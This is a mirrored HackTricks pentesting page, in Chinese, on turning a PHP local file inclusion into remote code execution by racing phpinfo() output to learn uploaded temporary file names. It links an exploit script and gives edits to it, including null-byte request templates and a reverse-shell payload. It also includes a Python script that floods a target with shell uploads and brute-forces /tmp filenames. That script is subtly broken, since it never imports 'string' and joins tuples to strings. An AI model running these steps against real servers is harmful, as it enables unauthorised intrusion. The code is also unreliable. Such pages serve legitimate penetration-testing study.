mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
56 lines
2.8 KiB
Markdown
56 lines
2.8 KiB
Markdown
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
要利用此漏洞,您需要:**一个 LFI 漏洞,一个显示 phpinfo() 的页面,“file_uploads = on”,并且服务器必须能够在“/tmp”目录中写入。**
|
||
|
||
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
||
|
||
**教程 HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
|
||
|
||
您需要修复漏洞(将 **=>** 更改为 **=>**)。为此,您可以执行:
|
||
```
|
||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||
```
|
||
您还需要更改利用的**payload**(例如,php-rev-shell),**REQ1**(这应该指向phpinfo页面并包含填充,即:_REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_),以及**LFIREQ**(这应该指向LFI漏洞,即:_LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ 检查利用空字符时的双“%”)
|
||
|
||
{{#file}}
|
||
LFI-With-PHPInfo-Assistance.pdf
|
||
{{#endfile}}
|
||
|
||
### 理论
|
||
|
||
如果在PHP中允许上传文件,并且您尝试上传文件,则这些文件会存储在临时目录中,直到服务器处理完请求,然后这些临时文件会被删除。
|
||
|
||
然后,如果您在Web服务器中发现了LFI漏洞,您可以尝试猜测创建的临时文件的名称,并在文件被删除之前通过访问临时文件来利用RCE。
|
||
|
||
在**Windows**中,文件通常存储在**C:\Windows\temp\php**
|
||
|
||
在**linux**中,文件的名称通常是**随机的**,位于**/tmp**。由于名称是随机的,因此需要**从某处提取临时文件的名称**并在文件被删除之前访问它。这可以通过读取函数“**phpconfig()**”中**变量$\_FILES**的值来完成。
|
||
|
||
**phpinfo()**
|
||
|
||
**PHP**使用**4096B**的缓冲区,当它**满**时,它会**发送给客户端**。然后客户端可以**发送** **大量大请求**(使用大头部)**上传一个php**反向**shell**,等待**phpinfo()的第一部分返回**(其中包含临时文件的名称),并尝试在php服务器删除文件之前通过利用LFI漏洞**访问临时文件**。
|
||
|
||
**尝试暴力破解名称的Python脚本(如果长度=6)**
|
||
```python
|
||
import itertools
|
||
import requests
|
||
import sys
|
||
|
||
print('[+] Trying to win the race')
|
||
f = {'file': open('shell.php', 'rb')}
|
||
for _ in range(4096 * 4096):
|
||
requests.post('http://target.com/index.php?c=index.php', f)
|
||
|
||
|
||
print('[+] Bruteforcing the inclusion')
|
||
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
||
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
||
r = requests.get(url)
|
||
if 'load average' in r.text: # <?php echo system('uptime');
|
||
print('[+] We have got a shell: ' + url)
|
||
sys.exit(0)
|
||
|
||
print('[x] Something went wrong, please try again')
|
||
```
|
||
{{#include ../../banners/hacktricks-training.md}}
|